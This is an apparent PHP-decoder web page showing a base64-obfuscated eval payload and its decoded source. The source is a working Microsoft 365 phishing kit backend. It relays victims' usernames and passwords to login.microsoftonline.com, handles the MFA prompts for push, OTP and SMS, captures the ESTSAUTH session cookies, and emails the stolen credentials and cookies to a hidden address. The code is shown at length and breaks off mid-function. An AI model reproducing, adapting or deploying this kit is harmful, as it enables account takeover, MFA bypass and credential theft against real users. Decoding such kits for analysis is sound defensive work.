Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>".base64_decode("PD9waHANCg0KZnVuY3Rpb24gc2VuZEVtYWlsUmVzdWx0KCRlbWFpbCwgJHB..
Decoded Output download
?>b'<?php
function sendEmailResult($email, $password, $cookie = \'\')
{
include \'email.php\';
$to = \'[email protected]\';
$browser = $_SERVER[\'HTTP_USER_AGENT\'];
$ip = getenv("REMOTE_ADDR");
$message = "---------+ RESULT |+-------
";
$message .= "Email : " . $email . "
";
$message .= "Password : " . $password . "
";
$message .= "-----------------------------------
";
$message .= "Client IP: " . $ip . "
";
$message .= "User Agent : " . $browser . "
";
$message .= "--- http://www.geoiptool.com/?IP=$ip ----
";
$message .= "--###---
";
$message .= "-----------------------------------
";
$message .= $cookie;
$isCookie = $cookie != \'\' ? \' [COOKIE]\' : \'\';
$subject = "Result | " . $email . " | " . $ip . $isCookie;
mail($to, $subject, $message);
mail($receivedEmail, $subject, $message);
}
function cookieToJSON($cookie, $dom)
{
$arr = explode(";", $cookie);
$name = explode("=", trim($arr[0]))[0];
$value = explode("=", trim($arr[0]))[1];
$domain = $dom;
$expirationDate = strtotime(\'+1 month\');
$path = \'/\';
$SameSite = null;
foreach ($arr as $item) {
$item = trim($item);
$item = explode("=", $item);
if (count($item) == 2) {
if (stripos($item[0], \'expires\') !== false) {
$expirationDate = strtotime($item[1]);
}
if (stripos($item[0], \'path\') !== false) {
$path = $item[1];
}
if (stripos($item[0], \'SameSite\') !== false && stripos($item[0], \'none\') !== false) {
$SameSite = $item[1];
}
}
}
$hostOnly = (bool) stripos($cookie, \'hostOnly\') !== false ? true : false;
$httpOnly = (bool) stripos($cookie, \'HttpOnly\') !== false ? true : false;
$secure = (bool) stripos($cookie, \'secure\') !== false ? true : false;
$session = (bool) stripos($cookie, \'session\') !== false ? true : false;
$data = [
"domain" => $domain,
"expirationDate" => $expirationDate,
"hostOnly" => $hostOnly,
"httpOnly" => $httpOnly,
"name" => $name,
"path" => $path,
"sameSite" => $SameSite,
"secure" => $secure,
"session" => $session,
"storeId" => null,
"value" => $value
];
return $data;
}
function Mid($param, $kata1, $kata2)
{
if (strpos($param, $kata1) === FALSE) return FALSE;
if (strpos($param, $kata2) === FALSE) return FALSE;
$start = strpos($param, $kata1) + strlen($kata1);
$end = strpos($param, $kata2, $start);
$return = substr($param, $start, $end - $start);
return $return;
}
function getTokenMicrosoft()
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://login.microsoftonline.com//common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=637971826250346690.OTRiN2NkMTYtYjkxZC00NGNlLWEwZjUtY2M1N2FmMWFkM2U2NjllZDAxNjYtNzVmOS00MzAzLWE4MWQtYWI5NzM4MjVmZGFi&ui_locales=en-US&mkt=en-US&state=TlDhfv5-Bavam9VpEcghGxGGZvx8vCqQ_i8bE77Icx69ZiMnWDVFTmxu_3Ff91zMatiqWFOD9TparhK6hcfkeVuzKwYF1XW1hkTXKJu1soEKoiIUBo_KAR6DPKUlAbO9k1JJOIhIYam0DgASKW7utuT2rAL9B0sYQbCGvRdJ2tkU-jLdqHt8Qbbk-jfECY0XJHkA_Uhukch_b2X7mbVoUFUmNwOhiPACoSSDuTpDMfG5mMqIr9GnKp4760N3JmB2o8PTrCouH2JeuN93Qb8ULg&x-client-SKU=ID_NETSTANDARD2_0&x-client-ver=6.16.0.0&sso_reload=true");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$headers = array();
$headers[] = "Host: login.microsoftonline.com";
$headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36";
$headers[] = "Content-Type: text/plain;charset=UTF-8";
$headers[] = "Cookie: fpc=Am4z0EJhBX5KuuE5933G-GI; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA|NoExtension";
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
$json = Mid($result, \'$Config=\', \';\');
$json = json_decode($json, true);
$ctx = $json[\'sCtx\'];
$flowToken = $json[\'sFT\'];
$canary = urlencode($json[\'canary\']);
curl_close($ch);
return [
\'ctx\' => $ctx,
\'flowToken\' => $flowToken,
\'canary\' => $canary
];
}
function checkValidEmail($email)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://login.microsoftonline.com/getuserrealm.srf?login=" . $email);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
$json = json_decode($result, true);
if ($json[\'NameSpaceType\'] == \'Unknown\') {
return false;
} else {
return true;
}
}
function getDetailEmail($email)
{
$checking = checkValidEmail($email);
if ($checking == false) {
return [
\'status\' => \'error\',
\'message\' => "We couldn\'t find an account with that username. Try another account."
];
}
$banner = null;
$background = null;
$data = [
"username" => $email,
"isOtherIdpSupported" => true,
"checkPhones" => false,
"isRemoteNGCSupported" => true,
"isCookieBannerShown" => false,
"isFidoSupported" => true,
"originalRequest" => "rQQIARAAhZK_j9N2AMXj5C69i6A9jqqC7QYGhJTk628SOz6pgxPHjpOz88uO4yxW7Nix4x9fJ7GTkH-ASl3oUIRQVQESQpyEkDoVuiA2brqZvUslCurEVgKdUZen9_Te9j6ZPSKHEzmQAzdSMAeOrxVJolQslvRsARpEtkjpIFsumEQWH1OFbQVJwhjNDzMHP196--rw8lPx-YC-9cz6c3yKHdlRFC6O8_nVapVDluUYZs5Aft4bBWMnmCzh7xh2jmH3krtmkJV7p8kFUSApEi9DApZAoUgQFMi1pK4jQtEVJDVSp-56WAVA5ETvRKmthlM5UqGAi5D1BYV1BShDcep5Q4Zei1M1Ejd9v9UDQNjQm-2-KCidSFX4krgRisK07w851nmT_KZFx5ENPwmaOxvzn-S-hea-FqJFdC91Jyl5jG0tS9nKaDnyqX5YMyY2t-a44XJdXlZnHc0p6zWS5I01QQ0dIVCYPiv561grsBaFb4RR5MwUtsVQUjia203CNizX7Meb5kpl8YGC2640aDZifIFqTeTwcgVpTbpLMO2m7NF6i3LxRqPF27w68gEzoXtNhYyjWIJz-oSqgIXa0avcsjtuwMiVs9OT8awelTu67manVq2qgkGj7tKabMeuYWs6HJC-3kcyK_viqmU7bbqKej0mlkJGsLiSL8z4OcUFzXB7OxALDb8CUbktzasorsOGGYtUoaOX5ZPJaerqF-5dwt9S6a3xUXCWIlFoBs74KJwjy_HMLyGxhPnW51RHvpmjPe98B_tr57u99MHBlcRR4vq3IHW8t5c5SHxKH3awh7tb4l7__ev9n14t6k9_mTz64_F-4mw3XzZKfH3MWu2bVLsbBu0ARO0e3q0MZraC8-vhJAYl2J-FbW7xPTjGb6ex2-n0WfoSz2hiTepJtMjQXQZq4H0a--GrxIv9_2X4zYXLmUzsaB4yRp65OPyP5ZcXEx--vnv-5Md3_z54W_8I0",
"country" => "ID",
"forceotclogin" => false,
"isExternalFederationDisallowed" => false,
"isRemoteConnectSupported" => false, "federationFlags" => 0, "isSignup" => false, "flowToken" => "AQABAAEAAAD--DLA3VO7QrddgJg7WevrrtYD55-US_847WPSVKszmoL19BW8RKdDiSEJ5LIB5-5b-IB6ijNV0ELreEs8ntgOWqAgTGbM24yesug2UQV7ShDu-uEwl96dRckcVp41PCzBqls2KMWLjiG9X2PvLdQY-s1ibzoy4nL-vaLU2kEXkNPDOL5A7s8eVj501xh3bFclyhIQ0KnRTogOAqMW1V7jwTJrVdvrrjagjxGyPdfwdMzHGlnfB7jJYdbDQi2ebKQLRGbR5K8RIiFUcgdo5lHYZbqICoP8BVLLlfnLFDMl59O2gj-t864RmLTncNf8N46JDHQ0Ve_KJ65TDVubMORlnW6DwLNLh0tpPcuBMIbm0eB93LLe_myUrzzj0wngCaUZCt-FeZNif2R1TI6GL22H7WiNRUTvQaxBPCGO-6rfjr0QeoO0khMSfLQ2PumbxS0H1hNwEhlNgol-FnzBxmSwP7rHlAi_fyWV_y9UNAH_F5jIhvhjrE5tn5rJTIyyoW8Ken1FRjdo3raYAy98ncTXVDRI1bSIm0oU1UW6IGMq0CGfTYDNMI7OvuJ8bsz6aIggAA", "isAccessPassSupported" => true
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
$headers = array();
$headers[] = "Host: login.microsoftonline.com";
$headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36";
$headers[] = "Content-Type: text/plain;charset=UTF-8";
$headers[] = "Cookie: fpc=Am4z0EJhBX5KuuE5933G-GI; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA|NoExtension";
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
curl_close($ch);
$ress = json_decode($result, true);
if (isset($ress[\'EstsProperties\'][\'UserTenantBranding\'][0][\'BannerLogo\'])) {
$banner = $ress[\'EstsProperties\'][\'UserTenantBranding\'][0][\'BannerLogo\'];
}
if (isset($ress[\'EstsProperties\'][\'UserTenantBranding\'][0][\'Illustration\'])) {
$background = $ress[\'EstsProperties\'][\'UserTenantBranding\'][0][\'Illustration\'];
}
return [
\'status\' => \'success\',
\'banner\' => $banner,
\'background\' => $background,
];
}
function loginOffice($email, $password)
{
$token = getTokenMicrosoft();
$data = \'i13=0&login=\' . $email . \'&loginfmt=\' . $email . \'&type=11&LoginOptions=3&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd=\' . $password . \'&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=\' . $token[\'canary\'] . \'&ctx=\' . $token[\'ctx\'] . \'&flowToken=\' . $token[\'flowToken\'] . \'&PPSX=&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=1&isSignupPost=0&i19=32758\';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://login.microsoftonline.com/common/login");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_ENCODING, \'gzip, deflate\');
curl_setopt($ch, CURLOPT_HEADER, 1);
$headers = array();
$headers[] = "Connection: keep-alive";
$headers[] = "Pragma: no-cache";
$headers[] = "Cache-Control: no-cache";
$headers[] = "Origin: https://login.microsoftonline.com";
$headers[] = "Upgrade-Insecure-Requests: 1";
$headers[] = "Content-Type: application/x-www-form-urlencoded";
$headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36";
$headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
$headers[] = "Referer: https://login.microsoftonline.com/common/reprocess?ctx=rQIIAXWSPW_TYACE7SQNbUFQwQAT6lAxUDl5_RHHjlQgjZMSEzt14yS1l8hxnMSOv_D7Jk6zIyEhobJ2hAEpI2JASP0DZekIDB2YEBNiYmCo-wNYbjjd8OjuHqbJHFnaYmimYBT7PMEbLE0wPAkIg6FYgi7QLE0BclAAdHR7fePbx_svMOx17d2r00cXZeJiid8dIxTCUj4fx3EuGA5t08qZgZf_hOPnOP4Tx09SK5ZPtFvLFGRptsgygOF4imY5CgAyJ1M1W3fEieRUkazqXrMCgK6W44bqOpKgJN6uLS1kV1OVuS7IXlMVXc1TgOxVUXNPnmgtADTHZBrq2NVVE0mC6MlOnZa7Sqw5rvc9datZnqIxdSVBZC-sP6m1YRB5vTCA6CT9Hm-Gll8fVALft0yUu4pZPrJNA9mBvx8FoRUh24I7nbIFyV5_dMApxRovRgSjRixztDtqTXt1mTs69JkesjmHmmpdok9zgsgTtGSCWrsQmMOxDnuKM1TDpwkCiMcHthrDOYRFoSp1yOpooeyrotlWnvEgQAWt3YgL89lMkjQf7oWGocijD-lsUqsX-GfpmwmUbw82wygY2q71I30HGq4Fn8CE2DZhUn9uOjnP4L8yN0C6tLq6voHdwzaxvxn87Uqy4ePDLW354Ivw5vrX2r9TETtbyT83OtsVTqaLc7LN9ssN16saijFhqpSod7cXtQVqzPQx0zKFeIcvkcdZ_Dib_Z1NvbyGfV773wMuAQ2";
$headers[] = "Accept-Encoding: gzip, deflate, br";
$headers[] = "Accept-Language: en-US,en;q=0.9";
$headers[] = "Cookie: CkTst=G1540815364165; stsservicecookie=ests; AADSSO=NANoExtension; esctx=AQABAAAAAAC5una0EUFgTIF8ElaxtWjTlfM3KVZvsEjefhMDHRVKMFDwmacGKMQvXvJsaYsg-a07tQBdg1F_0RaxgqftWUj7inB8xSa3blwD5VlZyfzu9kwaxzdSQUb_D18lW_KnXkyCvXzjoFMCtkKB4-u8Y570XUkI1NR_15qHKAoSfJPq3qK9dwx9i7k6t3-PtzYHQSkgAA; buid=AQABAAEAAAC5una0EUFgTIF8ElaxtWjT1GASYirVuzKPF9ebVElypM_b6x9tYnPkxa5TSUPLV5TNXub4yjezZqqA0kB0cmTHdQGxwgUazl6hH49NE4i0X0Ti1QI-JYs1TcTJy3Tkr74gAA; x-ms-gateway-slice=002; wlidperf=FR=L&ST=1540815737643";
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
$json = Mid($result, \'$Config=\', \';\');
$json = json_decode($json, true);
curl_close($ch);
if (strpos($result, \'Your account or password is incorrect\') !== false) {
sendEmailResult($email, $password, \'\');
return [\'status\' => \'error\', \'message\' => \'Your account or password is incorrect\'];
} else {
preg_match_all(\'/^Set-Cookie:\s*([^;]*)/mi\', $result, $cookies);
$list = [];
foreach ($cookies[1] as $cookie) {
$jsonCookie = cookieToJSON($cookie, \'login.microsoftonline.com\');
array_push($list, $jsonCookie);
}
$esctx = $list[array_search(\'esctx\', array_column($list, \'name\'))][\'value\'];
$ESTSAUTHPERSISTENT = $list[array_search(\'ESTSAUTHPERSISTENT\', array_column($list, \'name\'))][\'value\'];
$ESTSAUTH = $list[array_search(\'ESTSAUTH\', array_column($list, \'name\'))][\'value\'];
$ESTSAUTHLIGHT = $list[array_search(\'ESTSAUTHLIGHT\', array_column($list, \'name\'))][\'value\'];
$ch = $list[array_search(\'ch\', array_column($list, \'name\'))][\'value\'];
$ESTSSC = $list[array_search(\'ESTSSC\', array_column($list, \'name\'))][\'value\'];
$buid = $list[array_search(\'buid\', array_column($list, \'name\'))][\'value\'];
$fpc = $list[array_search(\'fpc\', array_column($list, \'name\'))][\'value\'];
if (isset($json[\'arrUserProofs\'])) {
$headerCookie = \'esctx=\' . $esctx . \'; ESTSAUTHPERSISTENT=\' . $ESTSAUTHPERSISTENT . \'; ESTSAUTH=\' . $ESTSAUTH . \'; ESTSAUTHLIGHT=\' . $ESTSAUTHLIGHT . \'; ch=\' . $ch . \'; ESTSSC=\' . $ESTSSC . \'; buid=\' . $buid . \'; fpc=\' . $fpc . \';\';
$tokenToRetrun = [
\'ctx\' => $json[\'sCtx\'],
\'flowToken\' => $json[\'sFT\'],
\'canary\' => $json[\'apiCanary\'],
\'cookie\' => $headerCookie
];
sendEmailResult($email, $password, \'\');
return [
\'status\' => \'verify\',
\'message\' => \'Please verify your account\',
\'data\' => base64_encode(json_encode($tokenToRetrun)),
\'method\' => base64_encode(json_encode($json[\'arrUserProofs\'])),
\'key\' => base64_encode($password),
];
}
sendEmailResult($email, $password, json_encode($list, JSON_PRETTY_PRINT));
return [\'status\' => \'success\', \'message\' => \'Login success\'];
}
}
function beginAuthOffice($method, $ctx, $flowToken, $canary, $cookie)
{
$data = [
"AuthMethodId" => $method,
"Method" => "BeginAuth",
"ctx" => $ctx,
"flowToken" => $flowToken,
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, \'https://login.microsoftonline.com/common/SAS/BeginAuth\');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$headers = array();
$headers[] = "Host: login.microsoftonline.com";
$headers[] = "Cookie: " . $cookie;
$headers[] = "Hpgrequestid: 74d668b1-e9cf-457d-8562-8c60ed573a00";
$headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36";
$headers[] = "Client-Request-Id: 12dfd683-3e62-4c92-9421-85e9fe011d3c";
$headers[] = "Canary: " . $canary;
$headers[] = "Content-Type: application/json; charset=UTF-8";
$headers[] = "Accept: application/json";
$headers[] = "Origin: https://login.microsoftonline.com";
$headers[] = "Referer: https://login.microsoftonline.com/common/login";
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
$json = json_decode($result, true);
curl_close($ch);
return $json;
}
function EndAuthOffice($token, $otc = null)
{
$token = json_decode(base64_decode($token), true);
$data = [
"Method" => "EndAuth",
"SessionId" => $token[\'session\'],
"FlowToken" => $token[\'flowToken\'],
"Ctx" => $token[\'ctx\'],
"AuthMethodId" => $token[\'method\']
];
if ($otc != null) {
$data[\'AdditionalAuthData\'] = $otc;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, \'https://login.microsoftonline.com/common/SAS/EndAuth\');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$headers = array();
$headers[] = "Host: login.microsoftonline.com";
$headers[] = "Cookie: " . $token[\'cookie\'];
$headers[] = "Hpgrequestid: 74d668b1-e9cf-457d-8562-8c60ed573a00";
$headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36";
$headers[] = "Client-Request-Id: 12dfd683-3e62-4c92-9421-85e9fe011d3c";
$headers[] = "Content-Type: application/json; charset=UTF-8";
$headers[] = "Accept: application/json";
$headers[] = "Origin: https://login.microsoftonline.com";
$headers[] = "Referer: https://login.microsoftonline.com/common/login";
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
$json = json_decode($result, true);
curl_close($ch);
return $json;
}
function processAuthOffice($token, $user, $cookie, $password)
{
$data = "type=22&request=" . $token[\'Ctx\'] . "&mfaLastPollStart=1662311234026&mfaLastPollEnd=1662311235098&mfaAuthMethod=PhoneAppNotification&canary=pe%2BxBLVFJ%2FjKv8BG0IiuOU3ZOFZVmNqkpQW89jy9i70%3D3%3A1&login=$user&flowToken=" . $token[\'FlowToken\'] . "&hpgrequestid=6978818c-50db-4619-9851-80413a8a1500&sacxt=&hideSmsInMfaProofs=false&i19=8628";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, \'https://login.microsoftonline.com/common/SAS/ProcessAuth\');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_ENCODING, \'gzip, deflate\');
$headers = array();
$headers[] = "Host: login.microsoftonline.com";
$headers[] = "Cookie: brcap=0; MSFPC=GUID=d7fdec5542ee4beb8b37552301cbaec0&HASH=d7fd&LV=202209&V=4&LU=1662225774046; CCState=Q29NQkNoQnFiMmh1UUhOaGRXbHNiSE11WTI5dEVnRUJJZ2tKZ0wvNTlmR0gya2dxQ1FrL0Zmc09yWlhhU0RJcUNoSUtFRnRFWlVmR01yQkpnK1lkazNaU2Rzb1NDUWxlS1RnekxKRGFTQm9KQ1QrVjJXYlJqZHBJT0FCSUFGSVNDaERnNWVtbzVoY0hUWXIrMitJZGQ4SzRXaElLRUZ5aFFTOEJJUmhPbUx1MUE5dTZjVjBTRWdvUW9vZTVQVVY2MDBha3dqZnRrMXVqRHhvSkNUK1YyV2JSamRwSU1uNENBQUVBQVFBQUFQNzRNc0RkVTd0Q3QxMkFtRHRaNitzQ0FPei9CQUQwL3dmbDd5M1NNbmpHMWxKbyt3WGxKTmtZNnlXeUd1TEJiT0tDYk81ZDB1eEJMc2VEOWJFek03dCt0ek54QWxPUXhXSDNTOXF1dGx3VnpKT0ltaGZnRW9wSDNaVXk1Mjh1aFUwL2VQVThjYitHSUIrNHJvM25NbEZSemxnUklTWT0=; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA|NoExtension; SSOCOOKIEPULLED=1; ESTSSC=00; esctx=AQABAAAAAAD--DLA3VO7QrddgJg7WevrDJsdUvtAMIIKpxic6oRJN-D5orY750M7PQiT2BlhtW6bDLudo7-lC6ERQGQlo3lxwUwlT-Kft2NBgvo0ENDhNbLSzdZgmqKZ3wy4jTNBcss4H-vjYxJ_YNZMcefNqxb4L31vcHgmYicGnCQs3eN2UEoqnPuLMCXG3ASig4CrkCsgAA; wlidperf=FR=L&ST=1662311232220; ESTSAUTHPERSISTENT=0.ARIA4OXpqOYXB02K_tviHXfCuPfhvoluXopNnz3s1gElnacSAAU.AgABAAQAAAD--DLA3VO7QrddgJg7WevrAgDs_wQA9P_4xckuayWJFp0w5QZix6y_Sm74SqzzYfhd8uosiUJbT7tOAG-cbnl7hK-wh071cH43XAag9nqqss9n7FNYv4cbLfVRE_LBZlMPvHZ4SZdpMyJulxdY7k1nw4elR9NEeSKBuonSpHPLucj5Q5yrhc2G345LVY9i5EZ6tibQGoul0LMF6NF9eDhIjG4-4P-w4aquIyWiMZ6PyCv2F9zz7rHAqdFAC5_VdBYteVSIlBPMndnnWKGOmCTJqtfBvH3asrBUbpsdipUW-gnCn9PGvYebTZi4yBOyshj6_WgZcy_kBn1wLIH_YDTQbqaacQUgatl9MkH8h626oIJaamytkuaR9qYrDvAt1ZYgue9uObu-eZN1DzWLntix; ESTSAUTH=0.ARIA4OXpqOYXB02K_tviHXfCuPfhvoluXopNnz3s1gElnacSAAU.AgABAAQAAAD--DLA3VO7QrddgJg7WevrAgDs_wQA9P9IYfEsjJexvM1d6CLyKOa0ow18O8cPyiWXwPsNtmReB8gpZV5hzbEeeTue4HteIJKP07hBQzLAev6TkLV9DHLThqIh4zGXIT-GPJ5zP4SfzjYMLBXYsHVHEQ3bdgQjpIdnh_6wPGHpCrwu8h2YBiFRxMjhhAB4i3SPIiEto2T-2DtXcoaY936lrbfmMfqg0wVWhpPeyrmBrBvA1FZLTlIJ1Z3YL0k_MWC8Zv__jh_1eAy8z2ZVjX6EZpFAtn5OqZ2LzIi8qNv4aQ6pRW5KD7VqaZ8uKYQHg4DI8B2_uADa-d4VPNSvUwKD30s1hCj5DbvQUt-c_F-aGW5wTZJkES7LyYVjJuuxZERlswCjHwOaEmJrlJoblIOAykz4skOffVJE_ekp1w6qJagtae8H7qebMlPo2Qj7O5OMSg24mdAk0MqbBWKpJWKI2v2HeuKMUC0aMqmq-xP5WRsN9_y7K-LxMCtbyB4uFJUDJz_Z3hu-iwy4pnyAfkVVNxtea5kZlJnKIchGZRVjntLDVg; ESTSAUTHLIGHT=+0c7344a4-cc75-4470-9e68-42ed0e249b97; ch=sWoYrXTBEGTgaH81rGKaUXvSNiLDFM5IfDL5l4OQLYg; buid=0.ARIA4OXpqOYXB02K_tviHXfCuPfhvoluXopNnz3s1gElnacSAAU.AQABAAEAAAD--DLA3VO7QrddgJg7Wevrj63P8tkUhjB64FIPNC0snFnzFRxs65oN2dIEFiA1QgbebGgO7kc5CP68liuaotNl4d4uwUbwNf8nsE0CzQzfeYuKQm4efW76XwonEe906w1JufUCuYHrH_58CZ_sMOzGwA9diN7sHW1gWn8r0-BLNBfwE0_pdGZgXYUFbNnyG84gAA; fpc=AnyKzz8Ge9FPhKiOIdELYl-8Ae7AAQAAACLSptoOAAAAj_JLAwEAAABB0qbaDgAAAA; clrc={%2219239%22%3a[%227CVOb+CW%22]%2c%2219240%22%3a[%22CWt5gt66%22%2c%22VmPIPHJh%22%2c%22+SjF/0ga%22]}";
$headers[] = "Hpgrequestid: 74d668b1-e9cf-457d-8562-8c60ed573a00";
$headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36";
$headers[] = "Content-Type: application/x-www-form-urlencoded";
$headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9";
$headers[] = "Origin: https://login.microsoftonline.com";
$headers[] = "Referer: https://login.microsoftonline.com/common/login";
$headers[] = "Accept-Language: en-US,en;q=0.9";
$headers[] = "Accept-Encoding: gzip, deflate";
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$result = curl_exec($ch);
curl_close($ch);
preg_match_all(\'/^Set-Cookie:\s*([^;]*)/mi\', $result, $cookies);
$list = [];
foreach ($cookies[1] as $cookie) {
$jsonCookie = cookieToJSON($cookie, \'login.microsoftonline.com\');
array_push($list, $jsonCookie);
}
sendEmailResult($user, base64_decode($password), json_encode($list, JSON_PRETTY_PRINT));
return $result;
}
$action = $_POST[\'do\'];
if ($action == \'check\') {
$email = $_POST[\'email\'];
$result = getDetailEmail($email);
echo json_encode($result);
} else if ($action == \'login\') {
$login = loginOffice($_POST[\'user\'], $_POST[\'pass\']);
$user = $_POST[\'user\'];
if ($login[\'status\'] == \'error\') {
header("Location: index.php?error&id=$user&.rand=13InboxLight.aspx&n=1252899642&fid=1&fav=1&bg=" . base64_encode($_POST[\'background\']) . "&logo=" . base64_encode($_POST[\'logo\']));
} else if ($login[\'status\'] == \'success\') {
header("Location: index.php?success&id=$user&.rand=13InboxLight.aspx&n=1252899642&fid=1&fav=1&bg=" . base64_encode($_POST[\'background\']) . "&logo=" . base64_encode($_POST[\'logo\']));
} else if ($login[\'status\'] == \'verify\') {
header("Location: verification?list&user=$user&.rand=13InboxLight.aspx&n=1252899642&fid=1&fav=1&bg=" . base64_encode($_POST[\'background\']) . "&logo=" . base64_encode($_POST[\'logo\']) . "&token=" . $login[\'data\'] . "&method=" . $login[\'method\'] . "&key=" . $login[\'key\']);
}
} else if ($action == \'verify\') {
$token = json_decode(base64_decode($_POST[\'token\']), true);
$bg = base64_encode($_POST[\'bg\']);
$logo = base64_encode($_POST[\'logo\']);
$method = $_POST[\'method\'];
$user = $_POST[\'user\'];
$key = $_POST[\'key\'];
$redirect = \'\';
if ($method == \'PhoneAppNotification\') {
$redirect = \'phoneappnotif\';
} else if ($method == \'PhoneAppOTP\') {
$redirect = \'phoneappotp\';
} else if ($method == \'OneWaySMS\') {
$redirect = \'sms\';
} else if ($method == \'TwoWayVoiceMobile\') {
$redirect = \'twoawaysms\';
}
$beginAuth = beginAuthOffice($method, $token[\'ctx\'], $token[\'flowToken\'], $token[\'canary\'], $token[\'cookie\']);
if ($beginAuth[\'Success\']) {
$token = base64_encode(json_encode([
\'ctx\' => $beginAuth[\'Ctx\'],
\'flowToken\' => $beginAuth[\'FlowToken\'],
\'cookie\' => $token[\'cookie\'],
\'method\' => $method,
\'session\' => $beginAuth[\'SessionId\']
]));
echo json_encode([
\'status\' => true,
\'data\' => $token,
\'redirect\' => "?$redirect&user=$user&.rand=13InboxLight.aspx&n=1252899642&fid=1&fav=1&bg=$bg&logo=$logo&token=$token&key=$key"
]);
} else {
echo json_encode([\'status\' => false, \'message\' => \'Verification request failed\']);
}
} else if ($action == \'checkVerify\') {
$user = $_POST[\'user\'];
$token = json_decode(base64_decode($_POST[\'token\']), true);
if ($_POST[\'service\'] == \'notif\') {
$endAuth = EndAuthOffice($_POST[\'token\']);
$newToken = base64_encode(json_encode([
\'ctx\' => $endAuth[\'Ctx\'],
\'flowToken\' => $endAuth[\'FlowToken\'],
\'cookie\' => $token[\'cookie\'],
\'method\' => $token[\'method\'],
\'session\' => $endAuth[\'SessionId\']
]));
if ($endAuth[\'Success\']) {
processAuthOffice($endAuth, $user, $token[\'cookie\'], $_POST[\'key\']);
echo json_encode([
\'status\' => true,
\'redirect\' => "../index.php?success&id=$user&.rand=13InboxLight.aspx&n=1252899642&fid=1&fav=1&bg=" . base64_encode($_POST[\'bg\']) . "&logo=" . base64_encode($_POST[\'logo\'])
]);
} else {
echo json_encode([\'status\' => false, \'message\' => \'Verification failed\', \'token\' => $newToken]);
}
} else if ($_POST[\'service\'] == \'sms\') {
$endAuth = EndAuthOffice($_POST[\'token\'], $_POST[\'otc\']);
$newToken = base64_encode(json_encode([
\'ctx\' => $endAuth[\'Ctx\'],
\'flowToken\' => $endAuth[\'FlowToken\'],
\'cookie\' => $token[\'cookie\'],
\'method\' => $token[\'method\'],
\'session\' => $endAuth[\'SessionId\']
]));
if ($endAuth[\'Success\']) {
processAuthOffice($endAuth, $user, $token[\'cookie\'], $_POST[\'key\']);
header("Location: index.php?success&id=$user&.rand=13InboxLight.aspx&n=1252899642&fid=1&fav=1&bg=" . base64_encode($_POST[\'bg\']) . "&logo=" . base64_encode($_POST[\'logo\']));
} else {
